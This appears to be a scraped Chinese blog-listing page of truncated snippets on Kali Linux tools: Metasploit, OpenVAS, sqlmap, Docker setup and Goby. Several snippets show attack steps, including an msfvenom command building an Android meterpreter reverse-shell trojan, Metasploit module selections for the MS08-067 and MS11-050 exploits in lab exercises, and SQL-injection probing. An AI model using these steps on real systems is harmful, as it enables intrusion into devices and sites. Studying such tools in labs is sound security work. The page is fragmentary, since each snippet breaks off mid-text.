metasploit使用方法：启动：第一步：启用Postgresql服务。service postgresql start第二步：启用metasploit服务。service matasploit start第三步：启动框架。msfconsole一个ASP站点的sql注入测试数字型注入点1.网址：asp？ID+13，后面加',看看是什么数据库，然后输入1=1,1=2，得到数据库是microsoft
转载
2024-09-25 15:20:50
35阅读
一. SSH服务开启前基础配置1.1 修改配置文件?如下图示：打开root/etc/ssh/sshd_config 目录下文件把# Port 22 修改为 Port 22 ，开启22号端口把# ListenAddress 0.0.0.0 修改为 ListenAddress 0.0.0.0 ，允许所有IP地址访问22号端口把# PermitRootLog
转载
2024-01-09 15:50:33
94阅读
01 进入 & 查看 & 关闭eg: 拉取CVE-2017-7504的漏洞环境为例子Step 1: 查找并下载docker search testjboss
docker pull testjboss/jbossifconfig
//docker中的网址可以在浏览器中打开Step 2:docker imagesREPOSITORY TAG IMAGE ID
转载
2023-11-11 12:04:56
25阅读
简介：Kali 2.0里面已经安装了openvas扫描工具，接下来说明如何使用kali里面的openvas扫描工具。 步骤一：点击应用程序----漏洞分析----openvas initial setup接下来就只有漫长的等待了，一直等待初始化安装完成。 步骤二：创建一个登陆admin1登陆账号，角色为Admin，使用命令如下：openvasmd --c
原创
2016-04-21 20:11:35
4889阅读
前言本文章仅用来学习交流，违法乱纪后果自负第一步，利用msfvenom生成木马msfvenom -p android/meterpreter/reverse_tcp 当然你也可以不自己建木马，你也可以在然后里植入木马，这个就牵扯反编译那些知识了。第二步，开启apache2 外网服务器服务 开启成功 这里补充几个命令 重新开启服务 service apache2 restart 关闭服务 servi
转载
2024-08-15 15:49:06
31阅读
20155328 网络攻防 实验五：MSF基础应用实践内容及过程记录一、Windows服务渗透攻击————ms08_067攻击机：kali靶机：WindowsXP（英文版）第一步，分别查看攻击机和靶机的IP。在kali终端中，输入msfconsole进入msf控制台，依次输入以下指令：use exploit/windows/smb/ms08_067_netapiuse exploit/window
转载
2023-12-05 09:05:33
62阅读
在这篇博文中，我将记录在Kali Linux环境中部署和使用Docker的具体过程。Docker是一个流行的容器化平台，可以在保持轻量级的同时，帮助我们轻松管理应用程序的部署。让我们一起来看看如何在Kali Linux中顺利安装和配置Docker。
## 环境预检
在开始之前，我们需要确保Kali Linux环境的系统要求符合Docker的安装规范。以下是系统要求的表格：
| 系统
在Kali Linux上安装Docker的过程非常重要，特别是在进行渗透测试和安全研究时，Docker提供了一个灵活的容器化解决方案。接下来我将详细记录这个过程。
## 环境准备
在安装Docker之前，首先需要确保你的Kali Linux系统满足一定的软硬件要求。以下是具体需求概述：
### 软硬件要求
| 组件名称 | 最低要求 | 推荐
首先在本文的开头感谢一下cyrils的博文，看了他的博文坑了一夜~其次感谢ricter本机环境：Kali（amd64），CP2102，C118，做一个不坑爹的人，配置环境处女Kali.下面开始：0x01编译环境</p>1.vim /etc/apt/sources.list
2.deb http://mirrors.ustc.edu.cn/kali kali main non-free
第1章 在windows系统中通过sqlmap注入1.1 环境搭建Sqlmap是目前功能最强大，使用最为广泛的注入类工具，是一个开源软件，被集成于kaliLinux，由于sqlmap是基于Python编写，所以需要在系统中先安装好2.7.x版本的Python，然后将下载好的sqlmap放在Python2.7目录下，这里Python安装我就不一一截图了，因为都是使用默认安装，只是安装的时候根据需要可
转载
2023-11-02 08:58:26
196阅读
IE浏览器渗透攻击——MS11050安全漏洞实验准备1.两台虚拟机，其中一台为kali，一台为Windows Xp Professional(两台虚拟机可以相互间ping通)。2.亚军同学的指导书实验步骤1、在kali终端中开启msfconsole。2、输入命令use windows/browser/ms11_050_mshtml_cobjectelement，进入该漏洞模块。3、输入info查看
转载
2024-04-17 22:18:48
237阅读
前言本小节我们将简单的介绍一些在Kali中常见的、常用到的配置。启动默认的网络服务1、Http服务从事渗透测试的工作人员可能会经常用到web服务器。例如，当需要测试Web程序的恶意脚本时，就需要自己搭建一个web服务器，其实kali linux已经集成了Apache，只要将其启动就可以使用了。在kali linux中启动http服务验证：Apache工作目录：停止Apache服务：service
转载
2023-09-23 14:04:03
32阅读
在软考备考过程中，对于网络安全和渗透测试方面知识的掌握显得尤为重要。而Kali Linux作为一款功能强大的渗透测试平台，自然成为了备考者们不可或缺的学习工具。本文将以“kali里的工具教程”为关键词，为大家详细介绍几款Kali中常用的工具，并分析其在软考中的重要性和应用方法。
首先，我们来谈谈Nmap。Nmap是一款开源的网络扫描工具，它在Kali中占据了举足轻重的地位。在软考的网络安全相关科
原创
2024-05-29 13:55:43
121阅读
# 在Kali终端里运行Java程序
Kali Linux作为一个渗透测试和安全评估的操作系统，同时也为开发人员提供了一个良好的Java开发环境。本文将介绍如何在Kali终端中运行Java程序，并通过示例代码帮助你更好地理解其具体操作。
## 环境准备
在运行Java程序之前，你需要确保你的Kali系统上已安装Java Development Kit（JDK）。通常，Kali会预装OpenJ
在kali里装Python
Python是一种高级编程语言，被广泛应用于Web开发、数据分析、人工智能等领域。在Linux操作系统中，Python通常是默认安装的，但在某些情况下，我们可能需要在Kali Linux中手动安装Python。
本文将向您介绍如何在Kali Linux中安装Python，并通过一些示例代码展示Python的基本用法。
步骤一：更新软件包列表
首先，我们需要确保系
原创
2024-01-09 09:36:58
177阅读
docker里安装kali linux "官网镜像" docker search kali docker pull kalilinux/kali linux docker vi /etc/apt/sources.list 替换为以下源并保存 deb ://mirrors.ustc.edu.c
转载
2019-09-27 15:18:00
462阅读
2评论
文章目录一、为何一部分人联网安装会失败1、问题产生原因2、解决办法二、离线安装系统，开机只有纯文本命令行界面1、原因2、解决方案以及过程(a):方案(b):过程三、SSH无法直接用root用户登录 解决方案主要在第二点：离线安装系统，开机只有纯文本命令行界面，想解决问题的请耐心观看。一、为何一部分人联网安装会失败1、问题产生原因该问题主要原因个人认为是因为联网安装时，由于联网安装下载的相关文件是
转载
2024-06-07 13:43:25
778阅读
# MySQL For Kali: 数据管理的强大工具
在渗透测试和安全研究领域，Kali Linux被广泛用于各种网络和应用程序的安全评估。而MySQL作为一种流行的关系数据库管理系统（RDBMS），不仅用于存储和管理数据，也常在这些测试中用于数据持久性。本文将介绍如何在Kali中安装和使用MySQL，并展示一些基本的操作代码。
## 1. 什么是MySQL？
MySQL是一个开源的关系型
原创
2024-08-04 06:00:38
43阅读
更新完源之后首先就要更新，这时候速度应该快很多了吧. 更新命令如下apt-get update更新apt-get upgrade升级软件apt-get dist-upgrade系统升级 然后由于新安装的系统，反复执行 同时也可以执行以下命令安装kali所需要的应用，会比较大，可能需要较长时间下载apt-get install kali-linux-all
apt-get update有时候如果出
转载
2024-08-20 13:47:38
92阅读
文章目录简介官网Kali下的安装简单使用功能扫描资产扫描端口扫描协议识别产品识别web页面查找漏洞扫描网站截图域扫描漏洞自定义PoC自定义词典个人看法 简介Goby是基于网络空间映射技术的下一代网络安全工具。它通过为目标网络建立全面的资产库来生成对网络安全事件和漏洞的紧急响应。 Goby提供最全面的资产识别.Goby预置了100,000多个规则识别引擎，可自动识别和分类硬件设备和软件业务系统，并
转载
2024-02-04 10:31:24
144阅读
